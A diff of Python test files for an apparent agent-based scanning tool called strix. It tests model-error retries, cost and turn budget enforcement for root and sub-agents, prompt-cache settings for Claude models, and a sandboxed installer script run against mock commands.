await coordinator.register("root", "strix", parent_id=None)
|
||||
|
||||
result = await execution._run_cycle(
|
||||
object(),
|
||||
coordinator,
|
||||
"root",
|
||||
input_data="task",
|
||||
run_config=cast("RunConfig", object()),
|
||||
context={},
|
||||
max_turns=5,
|
||||
session=None,
|
||||
interactive=False,
|
||||
event_sink=None,
|
||||
hooks=None,
|
||||
)
|
||||
return result, calls["n"], coordinator
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_cycle_retries_transient_midstream_error(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
streams = [_FakeStream(exc=_midstream_api_error()), _FakeStream()]
|
||||
result, attempts, _coordinator = await _run_once(monkeypatch, streams)
|
||||
|
||||
assert result is streams[1]
|
||||
assert attempts == 2
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_cycle_gives_up_after_max_retries(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
streams = [
|
||||
_FakeStream(exc=_midstream_api_error())
|
||||
for _ in range(execution._MAX_TRANSIENT_MODEL_RETRIES + 1)
|
||||
]
|
||||
with pytest.raises(APIError):
|
||||
await _run_once(monkeypatch, streams)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_cycle_does_not_retry_permanent_error(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
bad_request = BadRequestError(
|
||||
"bad", response=httpx.Response(400, request=_request()), body=None
|
||||
)
|
||||
streams = [_FakeStream(exc=bad_request), _FakeStream()]
|
||||
with pytest.raises(BadRequestError):
|
||||
await _run_once(monkeypatch, streams)
|
||||
+388
-3
@@ -2,11 +2,18 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
|
||||
from strix.core.hooks import (
|
||||
BudgetExceededError,
|
||||
BudgetPausedError,
|
||||
ReportUsageHooks,
|
||||
SubagentBudgetReservedError,
|
||||
recomputed_budget_flags,
|
||||
)
|
||||
|
||||
|
||||
def _make_hooks(max_budget: float | None) -> ReportUsageHooks:
|
||||
@@ -20,9 +27,22 @@ def _make_report_state(cost: float) -> MagicMock:
|
||||
return state
|
||||
|
||||
|
||||
def _make_context(agent_id: str = "test-agent") -> MagicMock:
|
||||
def _make_context(agent_id: str = "test-agent", parent_id: str | None = None) -> MagicMock:
|
||||
ctx: MagicMock = MagicMock()
|
||||
ctx.context = {"agent_id": agent_id}
|
||||
ctx.context = {"agent_id": agent_id, "parent_id": parent_id}
|
||||
return ctx
|
||||
|
||||
|
||||
def _make_warn_context(
|
||||
*,
|
||||
requests: int,
|
||||
parent_id: str | None = None,
|
||||
agent_id: str = "test-agent",
|
||||
) -> MagicMock:
|
||||
ctx: MagicMock = MagicMock()
|
||||
ctx.context = {"agent_id": agent_id, "parent_id": parent_id}
|
||||
ctx.usage = MagicMock()
|
||||
ctx.usage.requests = requests
|
||||
return ctx
|
||||
|
||||
|
||||
@@ -89,6 +109,127 @@ async def test_error_message_includes_amounts() -> None:
|
||||
assert "7.1234" in str(exc_info.value)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_subagent_stops_at_reserve() -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(9.0)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(SubagentBudgetReservedError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id="root-1"), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_subagent_below_reserve_does_not_raise() -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(8.99)
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_end(_make_context(parent_id="root-1"), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_subagent_overshoot_to_full_budget_triggers_scan_wide_stop() -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(10.5)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(BudgetExceededError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id="root-1"), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_root_keeps_running_inside_reserve() -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(9.5)
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_root_hard_stop_stays_at_full_budget() -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(10.0)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(BudgetExceededError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_budget_warning_mentions_reserve() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0)
|
||||
state = _make_report_state(7.5)
|
||||
root_items: list[Any] = []
|
||||
sub_items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id=None), MagicMock(), None, root_items
|
||||
)
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id="root-1"), MagicMock(), None, sub_items
|
||||
)
|
||||
assert "stopped at 90%" in root_items[0]["content"]
|
||||
assert "stopped at 90%" in sub_items[0]["content"]
|
||||
assert "root agent's final report" in sub_items[0]["content"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_subagent_critical_budget_warning_reachable_before_reserve() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0)
|
||||
state = _make_report_state(8.6)
|
||||
sub_items: list[Any] = []
|
||||
root_items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id="root-1"), MagicMock(), None, sub_items
|
||||
)
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id=None), MagicMock(), None, root_items
|
||||
)
|
||||
assert "[CRITICAL]" in sub_items[0]["content"]
|
||||
assert "[URGENT]" in root_items[0]["content"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("parent_id", "cost", "expected"),
|
||||
[
|
||||
("root-1", 0.0, None),
|
||||
("root-1", 8.9999, None),
|
||||
("root-1", 9.0, SubagentBudgetReservedError),
|
||||
("root-1", 9.0001, SubagentBudgetReservedError),
|
||||
("root-1", 9.5, SubagentBudgetReservedError),
|
||||
("root-1", 9.9999, SubagentBudgetReservedError),
|
||||
("root-1", 10.0, BudgetExceededError),
|
||||
("root-1", 10.0001, BudgetExceededError),
|
||||
("root-1", 25.0, BudgetExceededError),
|
||||
(None, 0.0, None),
|
||||
(None, 8.9999, None),
|
||||
(None, 9.0, None),
|
||||
(None, 9.5, None),
|
||||
(None, 9.9999, None),
|
||||
(None, 10.0, BudgetExceededError),
|
||||
(None, 10.0001, BudgetExceededError),
|
||||
(None, 25.0, BudgetExceededError),
|
||||
],
|
||||
)
|
||||
@pytest.mark.asyncio
|
||||
async def test_budget_enforcement_decision_table(
|
||||
parent_id: str | None, cost: float, expected: type[Exception] | None
|
||||
) -> None:
|
||||
hooks = _make_hooks(10.0)
|
||||
state = _make_report_state(cost)
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
if expected is None:
|
||||
await hooks.on_llm_end(_make_context(parent_id=parent_id), MagicMock(), MagicMock())
|
||||
else:
|
||||
with pytest.raises(expected):
|
||||
await hooks.on_llm_end(_make_context(parent_id=parent_id), MagicMock(), MagicMock())
|
||||
state.record_sdk_usage.assert_called_once()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_raise_when_report_state_none() -> None:
|
||||
hooks = _make_hooks(1.0)
|
||||
@@ -106,3 +247,247 @@ def test_non_positive_budget_rejected(bad_budget: float) -> None:
|
||||
def test_budget_exceeded_error_is_runtime_error() -> None:
|
||||
err = BudgetExceededError("test")
|
||||
assert isinstance(err, RuntimeError)
|
||||
|
||||
|
||||
def test_non_positive_max_turns_rejected() -> None:
|
||||
with pytest.raises(ValueError, match="positive integer"):
|
||||
ReportUsageHooks(model="test-model", max_turns=0)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_turn_warning_below_first_band() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_turns=100)
|
||||
items: list[Any] = []
|
||||
await hooks.on_llm_start(_make_warn_context(requests=68), MagicMock(), None, items)
|
||||
assert items == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_turn_warning_notice_band() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_turns=100)
|
||||
items: list[Any] = []
|
||||
await hooks.on_llm_start(_make_warn_context(requests=69), MagicMock(), None, items)
|
||||
assert len(items) == 1
|
||||
content = items[0]["content"]
|
||||
assert "[NOTICE]" in content
|
||||
assert "finish_scan" in content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_turn_warning_escalates_and_names_subagent_tool() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_turns=100)
|
||||
items: list[Any] = []
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=95, parent_id="root-1"), MagicMock(), None, items
|
||||
)
|
||||
assert len(items) == 1
|
||||
content = items[0]["content"]
|
||||
assert "[CRITICAL]" in content
|
||||
assert "agent_finish" in content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_turn_warning_root_directive_distinct_from_subagent() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_turns=100)
|
||||
|
||||
root_items: list[Any] = []
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=85, parent_id=None), MagicMock(), None, root_items
|
||||
)
|
||||
root = root_items[0]["content"]
|
||||
|
||||
sub_items: list[Any] = []
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=85, parent_id="root-1"), MagicMock(), None, sub_items
|
||||
)
|
||||
sub = sub_items[0]["content"]
|
||||
|
||||
assert root != sub
|
||||
assert "root agent" in root
|
||||
assert "finish_scan" in root
|
||||
assert "agent_finish" not in root
|
||||
assert "whole scan" in root
|
||||
assert "sub-agent" in sub
|
||||
assert "agent_finish" in sub
|
||||
assert "finish_scan" not in sub
|
||||
assert "confirmed" in sub
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_budget_warning_root_directive_distinct_from_subagent() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0)
|
||||
state = _make_report_state(8.6)
|
||||
|
||||
root_items: list[Any] = []
|
||||
sub_items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id=None), MagicMock(), None, root_items
|
||||
)
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id="root-1"), MagicMock(), None, sub_items
|
||||
)
|
||||
|
||||
root = root_items[0]["content"]
|
||||
sub = sub_items[0]["content"]
|
||||
assert "finish_scan" in root and "agent_finish" not in root
|
||||
assert "agent_finish" in sub and "finish_scan" not in sub
|
||||
assert "confirmed" in sub
|
||||
|
||||
|
||||
@pytest.mark.parametrize("parent_id", [None, "root-1"])
|
||||
@pytest.mark.asyncio
|
||||
async def test_turn_warning_directive_escalates_per_stage(parent_id: str | None) -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_turns=100)
|
||||
contents: dict[str, str] = {}
|
||||
for label, requests in (("notice", 69), ("urgent", 85), ("critical", 95)):
|
||||
items: list[Any] = []
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=requests, parent_id=parent_id), MagicMock(), None, items
|
||||
)
|
||||
contents[label] = items[0]["content"]
|
||||
|
||||
assert len({contents["notice"], contents["urgent"], contents["critical"]}) == 3
|
||||
assert "[NOTICE]" in contents["notice"] and "begin planning" in contents["notice"]
|
||||
assert "[URGENT]" in contents["urgent"] and "prioritize" in contents["urgent"]
|
||||
assert "[CRITICAL]" in contents["critical"] and "STOP" in contents["critical"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_turn_warning_when_max_turns_unset() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model")
|
||||
items: list[Any] = []
|
||||
await hooks.on_llm_start(_make_warn_context(requests=999), MagicMock(), None, items)
|
||||
assert items == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_budget_warning_below_first_band() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0)
|
||||
state = _make_report_state(6.9)
|
||||
items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(_make_warn_context(requests=0), MagicMock(), None, items)
|
||||
assert items == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_budget_warning_broadcast_content() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0)
|
||||
state = _make_report_state(9.6)
|
||||
items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(_make_warn_context(requests=0), MagicMock(), None, items)
|
||||
assert len(items) == 1
|
||||
content = items[0]["content"]
|
||||
assert "[CRITICAL]" in content
|
||||
assert "shared across every agent" in content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_turn_and_budget_warnings_stack() -> None:
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=10.0, max_turns=100)
|
||||
state = _make_report_state(8.6)
|
||||
items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(_make_warn_context(requests=89), MagicMock(), None, items)
|
||||
assert len(items) == 2
|
||||
joined = " ".join(i["content"] for i in items)
|
||||
assert "Turn budget" in joined
|
||||
assert "cost budget" in joined
|
||||
|
||||
|
||||
def _make_interactive_hooks(max_budget: float | None) -> ReportUsageHooks:
|
||||
return ReportUsageHooks(model="test-model", max_budget_usd=max_budget, interactive=True)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_interactive_at_budget_pauses_instead_of_stopping() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
state = _make_report_state(10.0)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(BudgetPausedError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_interactive_subagent_has_no_reserve() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
state = _make_report_state(9.5)
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_end(_make_context(parent_id="root-1"), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_interactive_subagent_pauses_at_full_budget() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
state = _make_report_state(10.5)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(BudgetPausedError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id="root-1"), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extend_budget_lifts_the_pause() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
state = _make_report_state(10.5)
|
||||
hooks.extend_budget()
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extend_budget_adds_original_amount_each_time() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
hooks.extend_budget()
|
||||
hooks.extend_budget()
|
||||
state = _make_report_state(29.9)
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
state = _make_report_state(30.0)
|
||||
with (
|
||||
patch("strix.core.hooks.get_global_report_state", return_value=state),
|
||||
pytest.raises(BudgetPausedError),
|
||||
):
|
||||
await hooks.on_llm_end(_make_context(parent_id=None), MagicMock(), MagicMock())
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_interactive_subagent_uses_root_warning_bands() -> None:
|
||||
hooks = _make_interactive_hooks(10.0)
|
||||
state = _make_report_state(7.4)
|
||||
items: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=state):
|
||||
await hooks.on_llm_start(
|
||||
_make_warn_context(requests=0, parent_id="root-1"), MagicMock(), None, items
|
||||
)
|
||||
assert len(items) == 1
|
||||
content = items[0]["content"]
|
||||
assert "[NOTICE]" in content
|
||||
assert "paused until the user chooses to continue" in content
|
||||
assert "reserve" not in content.lower()
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("cost", "max_budget", "interactive", "expected"),
|
||||
[
|
||||
(0.0, None, False, (False, False)),
|
||||
(100.0, None, False, (False, False)),
|
||||
(5.0, 10.0, False, (False, False)),
|
||||
(9.0, 10.0, False, (False, True)),
|
||||
(10.0, 10.0, False, (True, True)),
|
||||
(10.0, 20.0, False, (False, False)),
|
||||
(10.0, 10.0, True, (False, False)),
|
||||
],
|
||||
)
|
||||
def test_recomputed_budget_flags(
|
||||
cost: float,
|
||||
max_budget: float | None,
|
||||
interactive: bool,
|
||||
expected: tuple[bool, bool],
|
||||
) -> None:
|
||||
assert recomputed_budget_flags(cost, max_budget, interactive=interactive) == expected
|
||||
|
||||
@@ -5,6 +5,7 @@ from __future__ import annotations
|
||||
from itertools import pairwise
|
||||
from typing import Any
|
||||
|
||||
import litellm
|
||||
import pytest
|
||||
|
||||
from strix.core.inputs import build_root_task, child_initial_input, make_model_settings
|
||||
@@ -55,6 +56,103 @@ def test_child_initial_input_no_consecutive_same_role(parent_history: list[Any])
|
||||
assert all(prev != nxt for prev, nxt in pairwise(roles))
|
||||
|
||||
|
||||
def _cache_points(model_name: str) -> Any:
|
||||
extra = make_model_settings(None, model_name=model_name).extra_args or {}
|
||||
return extra.get("cache_control_injection_points")
|
||||
|
||||
|
||||
def test_make_model_settings_enables_prompt_cache_for_bedrock_claude() -> None:
|
||||
assert _cache_points("bedrock/global.anthropic.claude-opus-4-8") == [
|
||||
{"location": "message", "role": "system"},
|
||||
{"location": "tool_config"},
|
||||
{"location": "message", "index": -1},
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model_name",
|
||||
[
|
||||
"anthropic/claude-sonnet-4-5",
|
||||
"openrouter/anthropic/claude-3.5-sonnet",
|
||||
"vertex_ai/claude-sonnet-4-5",
|
||||
],
|
||||
)
|
||||
def test_make_model_settings_enables_prompt_cache_for_non_bedrock_claude(model_name: str) -> None:
|
||||
assert _cache_points(model_name) == [
|
||||
{"location": "message", "role": "system"},
|
||||
{"location": "message", "index": -1},
|
||||
]
|
||||
|
||||
|
||||
def test_tool_config_point_not_leaked_to_non_bedrock_claude() -> None:
|
||||
# LiteLLM only consumes tool_config on Bedrock; elsewhere it leaks onto the
|
||||
# wire and native Anthropic 400s.
|
||||
for model in ("anthropic/claude-sonnet-4-5", "openrouter/anthropic/claude-3.5-sonnet"):
|
||||
points = _cache_points(model) or []
|
||||
assert all(p.get("location") != "tool_config" for p in points)
|
||||
|
||||
|
||||
def test_prompt_cache_can_be_disabled() -> None:
|
||||
assert (
|
||||
make_model_settings(
|
||||
None, model_name="anthropic/claude-sonnet-4-5", prompt_cache=False
|
||||
).extra_args
|
||||
is None
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("model_name", ["gpt-5", "vertex_ai/gemini-2.5-pro", "openai/o3"])
|
||||
def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) -> None:
|
||||
assert make_model_settings(None, model_name=model_name).extra_args is None
|
||||
|
||||
|
||||
def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
|
||||
# A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
|
||||
unmapped = "bedrock/global.anthropic.claude-brand-new-9"
|
||||
monkeypatch.setattr(litellm, "model_cost", {}, raising=False)
|
||||
if getattr(getattr(litellm, "utils", None), "supports_prompt_caching", None):
|
||||
monkeypatch.setattr(litellm.utils, "supports_prompt_caching", lambda *_a, **_k: False)
|
||||
|
||||
assert make_model_settings(None, model_name=unmapped).extra_args is None
|
||||
|
||||
|
||||
def test_prompt_cache_kept_for_non_bedrock_claude_even_if_unmapped(monkeypatch: Any) -> None:
|
||||
# Only Bedrock hard-rejects unknown cache fields, so only Bedrock is guarded.
|
||||
monkeypatch.setattr(litellm, "model_cost", {}, raising=False)
|
||||
if getattr(getattr(litellm, "utils", None), "supports_prompt_caching", None):
|
||||
monkeypatch.setattr(litellm.utils, "supports_prompt_caching", lambda *_a, **_k: False)
|
||||
|
||||
for model in ("anthropic/claude-brand-new-9", "openrouter/anthropic/claude-brand-new"):
|
||||
assert _cache_points(model) == [
|
||||
{"location": "message", "role": "system"},
|
||||
{"location": "message", "index": -1},
|
||||
]
|
||||
|
||||
|
||||
def test_conversation_tail_breakpoint_moves_with_appended_transcript() -> None:
|
||||
# LiteLLM must place the index=-1 cache_control on the last message however
|
||||
# long the transcript grows.
|
||||
hook_mod = pytest.importorskip("litellm.integrations.anthropic_cache_control_hook")
|
||||
apply = hook_mod.AnthropicCacheControlHook._apply_message_injections
|
||||
points = _cache_points("bedrock/global.anthropic.claude-opus-4-8")
|
||||
msg_points = [p for p in points if p.get("location") == "message"]
|
||||
|
||||
def last_msg_cache_control(n_turns: int) -> Any:
|
||||
messages: list[dict[str, Any]] = [{"role": "system", "content": "stable prompt"}]
|
||||
for i in range(n_turns):
|
||||
messages.append({"role": "assistant", "content": f"turn {i} action"})
|
||||
messages.append({"role": "user", "content": f"turn {i} tool result"})
|
||||
processed = apply(msg_points, messages, 4)
|
||||
last = processed[-1]
|
||||
content = last.get("content")
|
||||
if isinstance(content, list):
|
||||
return content[-1].get("cache_control")
|
||||
return last.get("cache_control")
|
||||
|
||||
assert last_msg_cache_control(2) == {"type": "ephemeral"}
|
||||
assert last_msg_cache_control(20) == {"type": "ephemeral"}
|
||||
|
||||
|
||||
def test_build_root_task_empty_config() -> None:
|
||||
assert build_root_task({}) == ""
|
||||
|
||||
@@ -174,6 +272,30 @@ def test_make_model_settings_omits_timeout_when_unset() -> None:
|
||||
assert settings.extra_args is None
|
||||
|
||||
|
||||
def test_make_model_settings_sets_extra_headers() -> None:
|
||||
settings = make_model_settings(
|
||||
"none",
|
||||
model_name="openai/some-model",
|
||||
extra_headers={"X-Feature-Key": "svc", "X-Tenant": "acme"},
|
||||
)
|
||||
|
||||
assert settings.extra_headers == {"X-Feature-Key": "svc", "X-Tenant": "acme"}
|
||||
|
||||
|
||||
def test_make_model_settings_omits_extra_headers_when_unset() -> None:
|
||||
assert make_model_settings("none", model_name="gpt-4o").extra_headers is None
|
||||
|
||||
|
||||
def test_make_model_settings_extra_headers_survive_reasoning_resolve() -> None:
|
||||
settings = make_model_settings(
|
||||
"high",
|
||||
model_name="openai/o3",
|
||||
extra_headers={"X-Feature-Key": "svc"},
|
||||
)
|
||||
|
||||
assert settings.extra_headers == {"X-Feature-Key": "svc"}
|
||||
|
||||
|
||||
def test_make_model_settings_timeout_survives_reasoning_resolve() -> None:
|
||||
# Reasoning is resolved via ModelSettings.resolve(); the timeout in extra_args
|
||||
# must not be dropped when a reasoning override is merged in.
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
import tarfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
RELEASE_VERSION = "9.9.9"
|
||||
RELEASE_TARGET = "linux-arm64"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
sys.platform == "win32",
|
||||
reason="scripts/install.sh is a POSIX shell installer",
|
||||
)
|
||||
|
||||
|
||||
def _write_executable(path: Path, content: str) -> None:
|
||||
path.write_text(content, encoding="utf-8")
|
||||
path.chmod(path.stat().st_mode | stat.S_IXUSR)
|
||||
|
||||
|
||||
def _create_release_archive(tmp_path: Path) -> Path:
|
||||
binary_name = f"strix-{RELEASE_VERSION}-{RELEASE_TARGET}"
|
||||
binary_path = tmp_path / binary_name
|
||||
_write_executable(binary_path, f"#!/bin/sh\nprintf 'strix {RELEASE_VERSION}\\n'\n")
|
||||
|
||||
archive_path = tmp_path / f"{binary_name}.tar.gz"
|
||||
with tarfile.open(archive_path, "w:gz") as archive:
|
||||
archive.add(binary_path, arcname=binary_name)
|
||||
return archive_path
|
||||
|
||||
|
||||
def _create_mock_commands(tmp_path: Path, machine: str) -> Path:
|
||||
mock_bin = tmp_path / "mock-bin"
|
||||
mock_bin.mkdir()
|
||||
_write_executable(
|
||||
mock_bin / "uname",
|
||||
f"""#!/bin/sh
|
||||
case "$1" in
|
||||
-s) echo Linux ;;
|
||||
-m) echo {machine} ;;
|
||||
*) echo "unexpected uname argument: $*" >&2; exit 1 ;;
|
||||
esac
|
||||
""",
|
||||
)
|
||||
_write_executable(mock_bin / "docker", "#!/bin/sh\nexit 0\n")
|
||||
_write_executable(
|
||||
mock_bin / "curl",
|
||||
"""#!/bin/sh
|
||||
output=""
|
||||
while [ "$#" -gt 0 ]; do
|
||||
if [ "$1" = "-o" ]; then
|
||||
output="$2"
|
||||
shift 2
|
||||
continue
|
||||
fi
|
||||
printf '%s\\n' "$1" >> "$STRIX_TEST_CURL_LOG"
|
||||
shift
|
||||
done
|
||||
cp "$STRIX_TEST_ARCHIVE" "$output"
|
||||
""",
|
||||
)
|
||||
return mock_bin
|
||||
|
||||
|
||||
def _create_installer_environment(
|
||||
tmp_path: Path,
|
||||
archive_path: Path,
|
||||
mock_bin: Path,
|
||||
) -> tuple[dict[str, str], Path, Path]:
|
||||
"""Build the installer environment explicitly.
|
||||
|
||||
Every variable the installer reads is listed here, so no inherited value
|
||||
(`XDG_CONFIG_HOME`, `GITHUB_ACTIONS`, `TMPDIR`, ...) can send a write
|
||||
outside the sandbox or change the code path under test.
|
||||
"""
|
||||
home_path = tmp_path / "home"
|
||||
home_path.mkdir()
|
||||
download_path = tmp_path / "downloads"
|
||||
download_path.mkdir()
|
||||
curl_log_path = tmp_path / "curl.log"
|
||||
environment = {
|
||||
"HOME": str(home_path),
|
||||
"XDG_CONFIG_HOME": str(home_path / ".config"),
|
||||
"PATH": f"{mock_bin}:/usr/bin:/bin",
|
||||
"SHELL": "/bin/bash",
|
||||
"TMPDIR": str(download_path),
|
||||
"STRIX_TEST_ARCHIVE": str(archive_path),
|
||||
"STRIX_TEST_CURL_LOG": str(curl_log_path),
|
||||
"VERSION": RELEASE_VERSION,
|
||||
}
|
||||
return environment, home_path, curl_log_path
|
||||
|
||||
|
||||
def _run_installer(
|
||||
repository_root: Path,
|
||||
environment: dict[str, str],
|
||||
) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run( # noqa: S603
|
||||
["/bin/bash", str(repository_root / "scripts/install.sh")],
|
||||
cwd=repository_root,
|
||||
env=environment,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
|
||||
|
||||
def test_installer_downloads_and_runs_linux_arm64_release(tmp_path: Path) -> None:
|
||||
repository_root = Path(__file__).resolve().parents[1]
|
||||
archive_path = _create_release_archive(tmp_path)
|
||||
mock_bin = _create_mock_commands(tmp_path, machine="aarch64")
|
||||
environment, home_path, curl_log_path = _create_installer_environment(
|
||||
tmp_path,
|
||||
archive_path,
|
||||
mock_bin,
|
||||
)
|
||||
|
||||
result = _run_installer(repository_root, environment)
|
||||
|
||||
assert result.returncode == 0, result.stderr
|
||||
expected_filename = f"strix-{RELEASE_VERSION}-{RELEASE_TARGET}.tar.gz"
|
||||
assert expected_filename in curl_log_path.read_text(encoding="utf-8")
|
||||
|
||||
installed_binary = home_path / ".strix/bin/strix"
|
||||
installed_result = subprocess.run( # noqa: S603
|
||||
[str(installed_binary), "--version"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
assert installed_result.stdout.strip() == f"strix {RELEASE_VERSION}"
|
||||
|
||||
|
||||
def test_installer_rejects_unsupported_architecture(tmp_path: Path) -> None:
|
||||
repository_root = Path(__file__).resolve().parents[1]
|
||||
archive_path = _create_release_archive(tmp_path)
|
||||
mock_bin = _create_mock_commands(tmp_path, machine="riscv64")
|
||||
environment, home_path, curl_log_path = _create_installer_environment(
|
||||
tmp_path,
|
||||
archive_path,
|
||||
mock_bin,
|
||||
)
|
||||
|
||||
result = _run_installer(repository_root, environment)
|
||||
|
||||
assert result.returncode != 0
|
||||
assert "Unsupported OS/Arch: linux/riscv64" in result.stdout
|
||||
